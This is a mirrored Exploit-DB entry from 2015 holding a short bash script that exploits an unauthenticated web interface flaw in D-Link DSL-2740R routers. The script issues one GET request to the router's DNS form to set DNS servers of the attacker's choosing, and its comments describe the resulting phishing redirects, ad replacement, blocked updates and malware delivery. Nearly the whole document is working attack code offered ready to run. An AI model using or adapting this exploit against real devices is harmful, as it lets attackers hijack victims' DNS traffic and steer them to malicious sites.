D-Link DSL-2740R – Remote DNS Change

  • 作者: Todor Donev
    日期: 2015-01-27
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35917/
  • #!/bin/bash
    #
    #D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit
    #
    #Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>
    #http://www.ethical-hacker.org/
    #
    #Description:
    #Different D-Link Routers are vulnerable to DNS change.
    #The vulnerability exist in the web interface, which is 
    #accessible without authentication. 
    #
    #ACCORDING TO THE VULNERABILITY DISCOVERER, MORE D-Link 
    #DEVICES MAY AFFECTED.
    #
    #Once modified, systems use foreign DNS servers,which are 
    #usually set up by cybercriminals. Users with vulnerable 
    #systems or devices who try to access certain sites are 
    #instead redirected to possibly malicious sites.
    #
    #Modifying systems' DNS settings allows cybercriminals to 
    #perform malicious activities like:
    #
    #oSteering unknowing users to bad sites: 
    # These sites can be phishing pages that 
    # spoof well-known sites in order to 
    # trick users into handing out sensitive 
    # information.
    #
    #oReplacing ads on legitimate sites: 
    # Visiting certain sites can serve users 
    # with infected systems a different set 
    # of ads from those whose systems are 
    # not infected.
    # 
    #oControlling and redirecting network traffic: 
    # Users of infected systems may not be granted 
    # access to download important OS and software 
    # updates from vendors like Microsoft and from 
    # their respective security vendors.
    #
    #oPushing additional malware: 
    # Infected systems are more prone to other 
    # malware infections (e.g., FAKEAV infection).
    #
    # 
    
    if [[ $# -gt 3 || $# -lt 2 ]]; then
    echo " D-Link DSL-2740R Unauthenticated Remote DNS Change Exploit"
    echo "================================================================"
    echo "Usage: $0 <Target> <Preferred DNS> <Alternate DNS>"
    echo "Example: $0 192.168.1.1 8.8.8.8"
    echo "Example: $0 192.168.1.1 8.8.8.8 8.8.4.4"
    echo ""
    echo " Copyright 2015 (c) Todor Donev <todor.donev at gmail.com>"
    echo "http://www.ethical-hacker.org/"
    exit;
    fi
    GET=`which GET 2>/dev/null`
    if [ $? -ne 0 ]; then
    echo "Error : libwww-perl not found =/"
    exit;
    fi
    GET "http://$1/Forms/dns_1?Enable_DNSFollowing=1&dnsPrimary=$2&dnsSecondary=$3" 0&> /dev/null <&1